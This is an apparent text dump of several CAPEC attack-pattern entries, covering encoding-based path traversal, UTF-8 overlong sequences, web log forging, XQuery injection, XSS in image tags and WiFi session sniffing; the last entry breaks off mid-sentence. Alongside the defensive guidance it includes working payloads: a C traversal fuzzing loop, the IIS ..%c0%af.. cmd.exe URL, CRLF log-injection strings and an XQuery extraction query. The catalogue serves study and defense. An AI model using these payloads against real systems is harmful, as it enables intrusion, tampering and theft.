map possible alternate encodings involves writing a small program that loops through all possible inputs to a given API call. This program can, for example, attempt to encode filenames in a variety of ways. For each iteration of the loop, the "mungified" filename can be passed to the API call and the result noted. The following code snippet loops through many possible values that can be used as a prefix to the string \test.txt. Results of running a program like this can help us to determine which characters can be used to perform a ../../ (dots and slashes) relative traversal attack. int main(int argc, char* argv[]) { for(unsigned long c=0x01010101;c != -1;c++) { char _filepath[255]; sprintf(_filepath, "%c%c%c%c\\test.txt", c > 24, c > 16, c > 8, c&0x000000FF ); try { FILE *in_file = fopen(_filepath, "r"); if(in_file) { printf("checking path %s\n", _filepath); puts("file opened!"); getchar(); fclose(in_file); } } catch(...) { } } return 0; } Slight (but still automatic) modifications can be made to the string in creative ways. Ultimately, the modified string boils down to an attempt to use different tricks to obtain the same file. For example, one resulting attempt might try a command like this: sprintf(_filepath, "..%c\\..%c\\..%c\\..%c\\scans2.txt", c, c, c, c); A good way to think about this problem is to think of layers. The API call layer is what the examples shown here are mapping. If an engineer has placed any filters in front of the API call, then these filters can be considered additional layers, wrapping the original set of possibilities. By pondering all the possible inputs that can be provided at the API layer, we can begin uncovering and exercising any filters that the software has in place. If we know that the software definitely uses file API calls, we can try all kinds of filename encoding tricks that we know about. If we get lucky, eventually one set of encoding tricks will work, and we can get our data successfully through the filters and into the API call. Drawing on the techniques described in Chapter 5, we can list a number of possible escape codes that can be injected into API calls (many of which help with the filter avoidance problem). If the data are eventually being piped into a shell, for example, we might be able to get control codes to take effect. A particular call may write data to a file or a stream that are eventually meant to be viewed on a terminal or in a client program. As a simple example, the following string contains two backspace characters that are very likely to show up in the terminal's execution: write("echo hey!\x08\x08"); When the terminal interprets the data we have passed in, the output will be missing the last two characters of the original string. This kind of trick has been used for ages to corrupt data in log files. Log files capture all kinds of data about a transaction. It may be possible to insert NULL characters (for example, %00 or '\0') or to add so many extra characters to the string that the request is truncated in the log. Imagine a request that has more than a thousand extra characters tacked on at the end. Ultimately, the string may be trimmed in the log file, and the important telltale data that expose an attack will be lost. Character Conversion Cases where one part of the software converts data before the data are passed on to the next part also make good targets. In these "data chains," characters often get converted many times. For example, if a user supplies the + character to a standard-issue Web server, it will be converted into a space before it's used on the file system. From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. ... Unicode is a system for encoding character strings in a 16-bit representation so that characters from a number of different languages can be represented. Unicode involves using 2 bytes for every character instead of the customary single byte found in ASCII encoding. Any system that is unicode aware may be capable of converting unicode strings into ASCII byte strings. If the native language of the system or the APIs that are being used require normal byte strings, then the system may provide for a translation from unicode. 176 Targeted 171 Targeted 179 Targeted 180 Targeted 173 Targeted 172 Targeted 184 Targeted 183 Targeted 74 Targeted 20 Targeted 697 Targeted 692 Targeted Using Alternate Encodings to Bypass Validation Logic More Detailed 64 Similar 79 Similar 72 Similar 43 Similar Canonicalize data prior to performing any validation or filtering on it. Be aware of alternate encodings. Penetration Medium High Medium All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Input Validation G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eugene Lebanidze Cigital, Inc 2007-02-26 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the ``shortest possible'' encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.

Survey the application for user-controllable inputs Using a browser or an automated tool, an attacker follows all public links and actions on a web site. He records all the links, the forms, the resources accessed and all other potential entry-points for the web application. Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL. env-Web Use a proxy tool to record all user input entry points visited during a manual traversal of the web application. env-Web Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery. env-Web Inputs are used by the application or the browser (DOM) env-Web Using URL rewriting, parameters may be part of the URL path. env-Web No parameters appear to be used on the current page. Even though none appear, the web application may still use them if they are provided. env-Web Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible. env-Web A list of URLs, with their corresponding parameters (POST, GET, COOKIE, etc.) is created by the attacker. A list of application user interface entry fields is created by the attacker. A list of resources accessed by the application is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Use CAPTCHA to prevent the use of the application by an automated tool. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Probe entry points to locate vulnerabilities The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various UTF-8 encoded payloads to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited. Try to use UTF-8 encoding of content in Scripts in order to bypass validation routines. env-Web Try to use UTF-8 encoding of content in HTML in order to bypass validation routines. env-Web Try to use UTF-8 encoding of content in CSS in order to bypass validation routines. env-Web The application accepts user-controllable input. env-Web The attacker's UTF-8 encoded payload is processed and acted on by the application without filtering or transcoding The application decodes the charset and filters the inputs. Implement input validation routines that filter or transcode for UTF-8 content. Specify the charset of the HTTP transaction/content. Monitor inputs to web servers. Alert on unusual charset and/or characters. Actively monitor the application and either deny or redirect requests from origins that appear to be attack attempts. The application's UTF-8 decoder accepts and interprets illegal UTF-8 characters or non-shortest format of UTF-8 encoding. Input filtering and validating is not done properly leaving the door open to harmful characters for the target host. High High Injection Protocol Manipulation API Abuse Perhaps the most famous UTF-8 attack was against unpatched Microsoft Internet Information Server (IIS) 4 and IIS 5 servers. If an attacker made a request that looked like this—http://servername/scripts/..%c0%af../winnt/system32/ cmd.exe—the server didn't correctly handle %c0%af in the URL. What do you think %c0%af means? It's 11000000 10101111 in binary; and if it's broken up using the UTF-8 mapping rules, we get this: 11000000 10101111. Therefore, the character is 00000101111, or 0x2F, the slash (/) character! The %c0%af is an invalid UTF-8 representation of the / character. Such an invalid UTF-8 escape is often referred to as an overlong sequence. So when the attacker requested the tainted URL, he accessed http://servername/scripts/../../winnt/system32/cmd.exe. In other words, he walked out of the script's virtual directory, which is marked to allow program execution, up to the root and down into the system32 directory, where he could pass commands to the command shell, Cmd.exe. CVE-2000-0884 Low - an attacker can inject different representation of a filtered character in UTF-8 format. Medium - an attacker may craft subtle encoding of input data by using the knowledge that she has gathered about the target host. Attacker may try to inject dangerous characters using UTF-8 different representation using (example of invalid UTF-8 characters). The attacker hopes that the targeted system does poor input filtering for all the different possible representations of the malicious characters. Malicious inputs can be sent through an HTML form or directly encoded in the URL. The attacker can use scripts or automated tools to probe for poor input filtering. A web page that contains overly long UTF-8 codes constitute a protocol anomaly, and could be an indication that an attacker is attempting to exploit a vulnerability on the target host. A attacker can use a fuzzer in order to probe for a UTF-8 encoding vulnerability. The fuzzer should generate suspicious network activity noticeable by an intrusion detection system. An IDS filtering network traffic may be able to detect illegal UTF-8 characters. According to OWASP, sometimes cross-site scripting attackers attempt to hide their attacks in Unicode encoding. The Unicode Consortium recognized multiple representations to be a problem and has revised the Unicode Standard to make multiple representations of the same code point with UTF-8 illegal. The UTF-8 Corrigendum lists the newly restricted UTF-8 range (See references). Many current applications may not have been revised to follow this rule. Verify that your application conform to the latest UTF-8 encoding specification. Pay extra attention to the filtering of illegal characters. The exact response required from an UTF-8 decoder on invalid input is not uniformly defined by the standards. In general, there are several ways a UTF-8 decoder might behave in the event of an invalid byte sequence: 1. Insert a replacement character (e.g. '?', ''). 2. Ignore the bytes. 3. Interpret the bytes according to a different character encoding (often the ISO-8859-1 character map). 4. Not notice and decode as if the bytes were some similar bit of UTF-8. 5. Stop decoding and report an error (possibly giving the caller the option to continue). It is possible for a decoder to behave in different ways for different types of invalid input. RFC 3629 only requires that UTF-8 decoders must not decode "overlong sequences" (where a character is encoded in more bytes than needed but still adheres to the forms above). The Unicode Standard requires a Unicode-compliant decoder to "...treat any ill-formed code unit sequence as an error condition. This guarantees that it will neither interpret nor emit an ill-formed code unit sequence." Overlong forms are one of the most troublesome types of UTF-8 data. The current RFC says they must not be decoded but older specifications for UTF-8 only gave a warning and many simpler decoders will happily decode them. Overlong forms have been used to bypass security validations in high profile products including Microsoft's IIS web server. Therefore, great care must be taken to avoid security issues if validation is performed before conversion from UTF-8, and it is generally much simpler to handle overlong forms before any input validation is done. To maintain security in the case of invalid input, there are two options. The first is to decode the UTF-8 before doing any input validation checks. The second is to use a decoder that, in the event of invalid input, returns either an error or text that the application considers to be harmless. Another possibility is to avoid conversion out of UTF-8 altogether but this relies on any other software that the data is passed to safely handling the invalid data. Another consideration is error recovery. To guarantee correct recovery after corrupt or lost bytes, decoders must be able to recognize the difference between lead and trail bytes, rather than just assuming that bytes will be of the type allowed in their position. For security reasons, a UTF-8 decoder must not accept UTF-8 sequences that are longer than necessary to encode a character. If you use a parser to decode the UTF-8 encoding, make sure that parser filter the invalid UTF-8 characters (invalid forms or overlong forms). Look for overlong UTF-8 sequences starting with malicious pattern. You can also use a UTF-8 decoder stress test to test your UTF-8 parser (See Markus Kuhn's UTF-8 and Unicode FAQ in reference section) Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Test your decoding process against malicious input. Privilege Escalation Run Arbitrary Code Data Modification Denial of Service Bruce Schneier was one of the first to raise the security issues with Unicode in the July 15, 2000 issue of Crypto-Gram newsletter. He pointed out that with the Unicode character set, it is possible that there could be multiple representations of a single character. In a security context it is primordial to determine the meaning of a character. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters. For example, a parser might prohibit the NUL character when encoded as the single-octet sequence 00, but erroneously allow the illegal two-octet sequence C0 80 and interpret it as a NUL character. Another way that Unicode can cause problems is that the application or operation system can assign the same interpretation to different code points. Thus, even though the Unicode specification dictates that the code points should be treated differently, the application actually treats them the same. Buffer overflow Another security issue occurs when encoding to UTF-8: the ISO/IEC 10646 description of UTF-8 allows encoding character numbers up to U+7FFFFFFF, yielding sequences of up to 6 bytes. There is therefore a risk of buffer overflow if the range of character numbers is not explicitly limited to U+10FFFF or if buffer sizing doesn't take into account the possibility of 5- and 6-byte sequences. Five and six bytes long UTF-8 characters are now illegal. The injection vector is an illegal sequences of bytes matching an UTF-8 characters or a "non-shortest form" in UTF-8 encoding format. The interpretation of malicious characters can cause unexpected responses from the target host. The request or command interpreter is responsible for interpreting the request sent by the client. The malicious characters can defeat the data filtering mechanism and have many different outcomes such as path manipulation, remote code execution, etc. 173 Targeted 172 Targeted 180 Targeted 181 Targeted 171 Secondary 73 Targeted 21 Targeted 74 Secondary 20 Secondary 697 Targeted 692 Targeted 64 Similar 71 Similar Reluctance to Trust RFC 3629 - http://www.faqs.org/rfcs/rfc3629.html Penetration High High Medium All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Input Validation David Wheeler - http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/character-encoding.html Michael Howard and David LeBlanc - Writing Secure Code, chap12, Microsoft Press Bruce Schneier - Crypto-Gram Newsletter, July 15, 2000 - http://www.schneier.com/crypto-gram-0007.html WikiPedia page about UTF-8, http://en.wikipedia.org/wiki/UTF-8 RFC 3629 - http://www.faqs.org/rfcs/rfc3629.html IDS Evasion with Unicode, by Eric Hacker, Jan. 3, 2001 - http://www.securityfocus.com/infocus/1232 Corrigendum #1: UTF-8 Shortest Form - http://www.unicode.org/versions/corrigendum1.html UTF-8 and Unicode FAQ for Unix/Linux, by Markus Kuhn - http://www.cl.cam.ac.uk/~mgk25/unicode.html UTF-8 decoder capability and stress test, by Markus Kuhn - http://www.cl.cam.ac.uk/%7Emgk25/ucs/examples/UTF-8-test.txt G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-16 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

Determine Application Web Server Log File Format The attacker observes the system and looks for indicators of which logging utility is being used by the web server. Determine logging utility being used by application web server (e.g. log4j), only possible if the application is known by the attacker or if the application returns error messages with logging utility information. env-Web Attacker determines log file format used by application web server. Attacker cannot conclusively determine log file format; he/she can only guess what the format is. Determine Injectable Content The attacker launches various logged actions with malicious data to determine what sort of log injection is possible. Attacker triggers logged actions with maliciously crafted data as inputs, parameters, arguments, etc. env-Web Attacker observes content successfully injected into web logs. Attacker lacks capability to observe if content was successfully injected into web logs. Manipulate Log Files The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted request that the web server will receive and write into the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack. Indirectly through injection, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example: The HTTP request for "/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] "GET /forged-path HTTP/1.1" 200 - "-" USER_AGENT" may add the log line into Apache "access_log" (for example). Different applications may require different encodings of the carriage return and line feed characters. env-Web Directly through log file or database manipulation, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example: The HTTP request for "/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] "GET /forged-path HTTP/1.1" 200 - "-" USER_AGENT" may add the log line into Apache "access_log" (for example). Different applications may require different encodings of the carriage return and line feed characters. env-Web Directly through log file or database manipulation, modify existing log entries. env-Web Forged entry or other malicious data inserted into application's logs. No entry inserted into logs, or the entry is visibly distinguishable from real entries. Input validation to ensure that only legal characters supplied by users can be entered into log files Encode information from user such that any unexpected characters are encoded safely before they are entered into log files. Post-processing of log files to remove or encode dangerous characters before displaying to a user may help in some cases. It will not help remove fake log entries entered using carriage return and line feed characters, however. Target server software must be a HTTP server that performs web logging. High Medium Modification of Resources Time and State Most web servers have a public interface, even if the majority of the site is password protected, there is usually at least a login site and brochureware that is publicly available. HTTP requests to the site are also generally logged to a Web log. From an attacker point of view, standard HTTP requests containing a malicious payload can be sent to the public website (with no other access required), when those requests appear in the log (such as http://victimsite/index.html?< malicious script> if they are followed by an administrator this may be sufficient to probe the administrator's host or local network. Low: To input faked entries into Web logs Ability to send specially formatted HTTP request to web server Design: Use input validation before writing to web log Design: Validate all log data before it is output Data Modification "Attack Pattern: Web Logs Escape characters are often translated before being printed to the log file. For example, under IIS the string /index%2Easp is recorded in the log file as /index.asp. A more complicated string can be used to record fake entries in the logfile. For example: /index.asp%FF200%FFHTTP/1.1%0A00:51:11%FF[192.168.10.10]%FFGET%FF/cgi-bin/phf This string will force a carriage return in the log file and forge a fake entry showing the address 192.168.10.10 getting the cgi-bin/phf file" [Hoglund and McGraw 04] Forged log entry delivered through HTTP Request. HTTP request Web log, log reporting systems Log data contains data designed to trick administrators and auditors as to chain of events. Limit ability to conduct forensics and other investigations/responses. 117 Targeted 93 Targeted 92 Targeted 221 Targeted 96 Secondary 20 Secondary 150 Secondary 276 Targeted 279 Secondary 116 Secondary 713 Targeted Obfuscation Medium High Medium Client-Server SOA All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

This attack utilizes XQuery to probe and attack server systems; in a similar manner that SQL Injection allows an attacker to exploit SQL calls to RDBMS, XQuery Injection uses improperly validated data that is passed to XQuery commands to traverse and execute commands that the XQuery routines have access to. XQuery injection can be used to enumerate elements on the victim's environment, inject commands to the local host, or execute queries to remote files and data sources.

Survey the application for user-controllable inputs Using a browser or an automated tool, an attacker follows all public links and actions on a web site. He records all the links, the forms, the resources accessed and all other potential entry-points for the web application. Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL. env-Web Use a proxy tool to record all user input entry points visited during a manual traversal of the web application. env-Web Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery. env-Web Inputs are used by the application or the browser (DOM) env-Web Using URL rewriting, parameters may be part of the URL path. env-Web No parameters appear to be used on the current page. Even though none appear, the web application may still use them if they are provided. env-Web Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible. env-Web A list of URLs, with their corresponding parameters (POST, GET, COOKIE, etc.) is created by the attacker. A list of application user interface entry fields is created by the attacker. A list of resources accessed by the application is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Use CAPTCHA to prevent the use of the application by an automated tool. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Determine user-controllable input susceptible to injection Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to XQL injection, attempt to inject characters that have special meaning in XQL. The goal is to create an XQL query with an invalid syntax. Use web browser to inject input through text fields or through HTTP GET parameters. env-Web Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc. env-Web Use XML files to inject input. env-Web env-ClientServer env-Web env-ClientServer env-Peer2Peer env-CommProtocol Use network-level packet injection tools such as netcat to inject input env-Web env-ClientServer env-Web env-ClientServer env-Peer2Peer env-CommProtocol Use modified client (modified by reverse engineering) to inject input. env-ClientServer env-Peer2Peer env-CommProtocol Attacker receives normal response from server. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Attacker receives an error message from server indicating that there was a problem with the XQL query. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Server sends a specific error message that indicates programmatic parsing of the input data (e.g. NumberFormatException) env-Web env-ClientServer env-Peer2Peer env-CommProtocol At least one user-controllable input susceptible to injection found. No user-controllable input susceptible to injection found. Search for and alert on unexpected XQL keywords in application logs. Input validation of user-controlled data before including it in an XQL query Information Disclosure The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to inappropriate disclosure of information. Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload. The payload aims to get information on the structure of the underlying XML database and/or the content in it. env-Web The attacker gets information from the XML database. Monitor server logs for suspicious XQuery requests. Use appropriate input validation to filter XQL syntax in user-controllable inputs. Do not use user-controllable input as part of XQL queries. Manipulate the data in the XML database The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to modification of application data. Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload.. The payload tries to insert or replace data in the XML database. env-Web The attacker gets the XQuery engine to insert or modify data in the database. This is mainly used to either insert wrong data or to insert persistent attack payloads (XSS for instance) that will be sent to other users' browser. Monitor server logs for consecutive suspicious request to the XML database. Use appropriate input validation to filter XQL syntax in user-controllable inputs. Do not use user-controllable input as part of XQL queries. The XQL must execute unvalidated data Very High High Injection An attacker can pass XQuery expressions embedded in otherwise standard XML documents. Like SQL injection attacks, the attacker tunnels through the applicaiton entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[Name='*'] The attacks that are possible through Xquery are difficult to predict, if the data is not validated prior to executing the XQL. Low: Basic understanding of XQuery Design: Perform input white list validation on all XML input Implementation: Run xml parsing and query infrastructure with minimal privileges so that an attacker is limited in their ability to probe other system resources from xql. Data Modification Information Leakage Privilege Escalation Run Arbitrary Code XML-capable system interfaces XQuery syntax XQL commands 74 Targeted 713 Targeted 707 Targeted Penetration Exploitation High High High Client-Server SOA All All All Gunnar Peterson 2007-02-28 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

Image tags are an often overlooked, but convenient, means for a Cross Site Scripting attack. The attacker can inject script contents into an image (IMG) tag in order to steal information from a victim's browser and execute malicious scripts.

Spider Using a browser , an attacker is looking at the application to figure out if it allows to specify images, upload them, etc. Use a browser to manually explore the website and identify entry points where the application allows the upload (or other means of specification) of images. Many browsers' plugins are available to facilitate the analysis or automate the discovery. env-Web The application has image upload functionality. env-Web The application allows users to point to or otherwise specify images. env-Web No parameters appear to be used on the current page. Even though none appear, the web application may still use them if they are provided. env-Web Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible. env-Web A list entry points where images can be specified. Do not allow user upload or specification of images Proceed to a temporary account lockout when the user does too many suspicious attempts using image upload. Probe identified potential entry points for XSS vulnerability The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side non-script elements context and observe system behavior to determine if script was executed. env-Web Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side non-script elements context and observe system behavior to determine if script was executed. env-Web Use a proxy tool to record results of the created requests. env-Web The output of pages includes image tags specified by users. env-Web Output to the browser is not encoded to remove executable scripting syntax. env-Web The attacker's script string is being reflected verbatim at some point in the web site (if not on the same page). Note that sometimes, the payload might be well encoded in the page, but wouldn't be encoded at all in some other section of the same web page (title, etc.) All context-sensitive characters are consistently re-encoded before being sent to the web browser. For example, in a HTML tag element, the payload may not be able to evade the quotes in order to inject another attribute. Some sensitive characters are consistently encoded, but others are not. Depending on which type of non-script element the payload is injected in, it may be possible to evade the encodings. Monitor input to web servers (not only GET, but all potential inputs like COOKIES, POST, HEADER), application servers, and other HTTP infrastructure (e.g., load balancers). Alert on standard XSS probes. The majority of attackers use well known strings to check for vulnerabilities. Use the same vulnerability catalogs that hackers use. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Steal session IDs, credentials, page content, etc. As the attacker succeeds in exploiting the vulnerability, he can choose to steal user's credentials in order to reuse or to analyze them later on. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker. env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately. env-Web The attacker gets the user's cookies or other session identifiers. The attacker gets the content of the page the user is viewing. The attacker causes the user's browser to visit a page with malicious content. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Forceful browsing When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not). Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities). env-Web The attacker indirectly controls the user's browser and makes it performing actions exploiting CSRF. The attacker manipulates the browser through the steps that he designed in his attack. The user, identified on a website, is now performing actions he is not aware of. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Content spoofing By manipulating the content, the attacker targets the information that the user would like to get from the website. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page. env-Web The user sees a page containing wrong information Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Application permitting the inclusion or use of IMG tags High High Techniques for discovery of XSS as well as tools and means to exploit them are fairly widely available and understood Injection An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. A malicious user can embed JavaScript in the IMG tags in his messages that get executed within the victim's browser whenever the victim reads these messages. The malicious user can leverage Cross Site Scripting in image tags to steal sensitive information, such as usernames, passwords or cookies, and impersonate other users on the forum. Medium: Besides the ability to figure out possibilities of injection, the attacker requires moderate scripting skills to successfully leverage cross site scripting in image tags None In addition to the traditional input fields, all other user controllable inputs, such as image tags within messages or the likes, must also be subjected to input validation. Such validation should ensure that content that can be potentially interpreted as script by the browser is appropriately filtered. All output displayed to clients must be properly escaped. Escaping ensures that the browser interprets special scripting characters literally and not as script to be executed. Run Arbitrary Code Information Leakage It is a misconception that Cross Site Scripting can be perpetrated only through input fields, such as text boxes or select fields. Image tags can be equally well abused to inject script into the victim's browser. The "src" attribute within the IMG tags points to the source of the image to be displayed. Since the source attribute allows the victim's browser to request content from locations other than the original server, an attacker can make this attribute point to a location of his choosing. Making the victim point to such a location is accomplished by the traditional means of having the victim click on a link; however, script execution can also be achieved by simply having the victim view a message on a bulletin board. Second-order cross site scripting is the predominant means of script injection when using IMG tags. User-controllable input to the application. Any input that can legitimately accept and render HTML image tag can be used as an injection vector. HTML Image tag pointing to script or location of attacker's choice. Victim's web browser. Execution of the script in the victim's browser, contained in the image tag or from the location pointed to within the image tag. 82 Targeted 79 Targeted 74 Secondary 20 Secondary 692 Targeted 697 Targeted 713 Targeted 71 Targeted CVE-2002-1808 Cross-site scripting (XSS) vulnerability in Meunity Community System 1.1 allows remote attackers to inject arbitrary web script or HTML via JavaScript in an IMG tag when creating a topic. CVE-2006-6919 Firefox Sage extension 1.3.8 and earlier allows remote attackers to execute arbitrary JavaScript in the local context via an RSS feed with an img tag containing the script followed by an extra trailing ">", which Sage modifies to close the img element before the malicious script. Reluctance To Trust Defense In Depth Never Use Unvalidated Input as Part of a Directive to any Internal Component Treat the Entire Inherited Process Context as Unvalidated Input Penetration Exploitation High High High Client-Server SOA All All All Chiradeep B. Chhaya 2007-03-15 First Draft Sean Barnum Cigital, Inc 2007-04-16 Review and revise Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

ss network.

Detect Unprotected Session Token Transfer The attacker sniffs on the wireless network to detect unencrypted traffic that contains session tokens. The attacker uses a network sniffer tool like ferret or hampster to monitor the wireless traffic at a WiFi hotspot while examining it for evidence of transmittal of session tokens in unencrypted or recognizably encrypted form. An attacker applies his knowledge of the manner by which session tokens are generated and transmitted by various target systems to identify the session tokens. env-Web The attacker and the victim are both on the same WiFi network. env-Web env-ClientServer Traffic between the victim and targeted application is unencrypted. env-Web env-ClientServer The attacker sees session tokens in the unencrypted traffic Capture session token The attacker uses sniffing tools to capture a session token from traffic. Insert captured session token The attacker attempts to insert a captured session token into communication with the targeted application to confirm viability for exploitation. Session Token Exploitation The attacker leverages the captured session token to interact with the targeted application in a malicious fashion, impersonating the victim. Utilize end to end encrypted communication via a secure tunneling protocol between the victim and the target system. An attacker and the victim are both using the same WiFi network. The victim has an active session with a target system. The victim is not using a secure channel to communicate with the target system (e.g. SSL, VPN, etc.) The victim initiated communication with a target system that requires transfer of the session token or the target application uses AJAX and thereby periodically "rings home" asynchronously using the session token High High Time and State Analysis Spoofing Protocol Manipulation The attacker and the victim are using the same WiFi public hotspot. When the victim connects to the 